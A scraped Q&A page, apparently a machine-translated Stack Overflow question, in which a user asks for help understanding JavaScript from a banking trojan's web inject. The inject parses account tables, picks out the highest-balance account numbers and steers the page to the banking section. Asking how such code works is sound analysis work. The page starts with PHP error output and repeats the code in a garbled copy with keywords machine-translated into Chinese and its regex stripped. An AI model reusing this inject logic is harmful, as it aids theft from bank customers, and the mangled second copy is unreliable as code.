Warning: file_get_contents(/data/phpspider/zhask/data//catemap/9/javascript/457.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Javascript 分析试图窃取银行帐户信息的JS代码_Javascript_Html_Analysis - Fatal编程技术网

Javascript 分析试图窃取银行帐户信息的JS代码

Javascript 分析试图窃取银行帐户信息的JS代码,javascript,html,analysis,Javascript,Html,Analysis,我是JS新手,尝试分析这段试图在客户端窃取银行帐户信息的长代码。除了这三个函数之外,我已经分析了大部分代码。我不清楚他们想做什么,但如果JS专家能指出确切的功能,那就太好了 function ParseAccount(a, b) { var c = null; var d = /<td[^>]*>(.*)<\/td>\r\n<td[^>]*>(\d+)<\/td>\r\n<td[^>]*><s

我是JS新手,尝试分析这段试图在客户端窃取银行帐户信息的长代码。除了这三个函数之外,我已经分析了大部分代码。我不清楚他们想做什么,但如果JS专家能指出确切的功能,那就太好了

  function ParseAccount(a, b) {
    var c = null;
    var d = /<td[^>]*>(.*)<\/td>\r\n<td[^>]*>(\d+)<\/td>\r\n<td[^>]*><span[^>]*>((?:[\d]+\.|)[\d]+(?!:,[\d]+)).*\r\n<td[^>]*>.
    *<input[^>]*value=transfer[^>]*name=([^>]*)>.*<\/td>/i;
    switch (a) {
      case "info":
        c = d.exec(b);
        break;
      default:
        c = null;
        break;
    }
    return c;
}

  function GetAccounts() {
    var a = new Array;
    a[0] = h_account;
    if (h_saccount != "") {
        a[1] = h_saccount;
    } else {
        a[1] = "empty";
    }
    return a;
}


 function CheckAccounts() {
              $("table.tablegrund.tablegrund2").each(function (e)        {$("table.tablegrund.tablegrund2:eq(" + e + ") tr").each(function (a) {var b = ParseAccount("info", $(this).html());if (null != b) {var c = b[3].split(",");var d = b[1].replace(/<[^>]*>/gi, "");c[0] = c[0].replace(".", "");if (parseInt(h_amount) < parseInt(c[0])) {h_amount = parseInt(c[0]);h_name = d;h_account = b[2];bigIndex = e;bigSubIndex = a;}}});$("table.tablegrund.tablegrund2:eq(" + e + ") tr").each(function (a) {var b = ParseAccount("info", $(this).html());if (null != b) {var c = b[3].split(",");var d = b[1].replace(/<[^>]*>/gi, "");c[0] = c[0].replace(".", "");if (parseInt(h_samount) < parseInt(c[0]) && parseInt(c[0]) != parseInt(h_amount)) {h_samount = parseInt(c[0]);h_sname = d;h_saccount = b[2];bigSecIndex = e;bigSecSubIndex = a;}}});});
        if (parseInt(h_amount) > 0) {
            var f = false;
            $("ul.nav_unterthema a").each(function (a) {if ($(this).html().match(/Banking/i)) {$("#navigator").attr("src", $(this).attr("href"));}});
        } else {
            parent.ClosePageLoad();
        }
    }

    $(document).ready(CheckSorting);
}
函数解析帐户(a、b){
var c=null;
变量d=/]*>(.*)\r\n]*>(\d+)\r\n]*>]*>((?:[\d]+\.\124;)[\ d]+(?!:,[\d]+).\r\n]*>。
*]*value=transfer[^>]*name=([^>]*)>.*/i;
开关(a){
案例“信息”:
c=d.exec(b);
打破
违约:
c=零;
打破
}
返回c;
}
函数GetAccounts(){
var a=新数组;
[0]=h_账户;
如果(h_saccount!=“”){
a[1]=h_saccount;
}否则{
a[1]=“空”;
}
返回a;
}
函数CheckAccounts(){
$(“table.tablegrund.tablegrund2”).each(函数(e){$(“table.tablegrund.tablegrund2:eq(“+e+”)tr”).each(函数(a){var b=ParseAccount(“info”),$(this.html());if(null!=b){var c=b[3]。split(,”;var d=b[1]。replace(/]*>/gi,”;c[0]=c[0]。replace(“,”);if(parseInt(h(h)amounth_name=d;h_account=b[2];bigIndex=e;bigSubIndex=a;}}}}}($table.tablegrund.tablegrund2:eq(“+e+”)tr”).each(函数a){var b=ParseAccount(“info”,$(this.html());if(null!=b){var c=b[3]。split(“,”;var d=b[1]。replace(/]*>/gi,”;c[0]=c[0]。replace(“,”);if(parseInt)0){
var f=假;
$(“ul.nav_unterhema a”).each(函数(a){if($(this.html().match(/Banking/i)){$(“#navigator”).attr(“src”),$(this.attr(“href”);});
}否则{
parent.ClosePageLoad();
}
}
$(文档).ready(检查排序);
}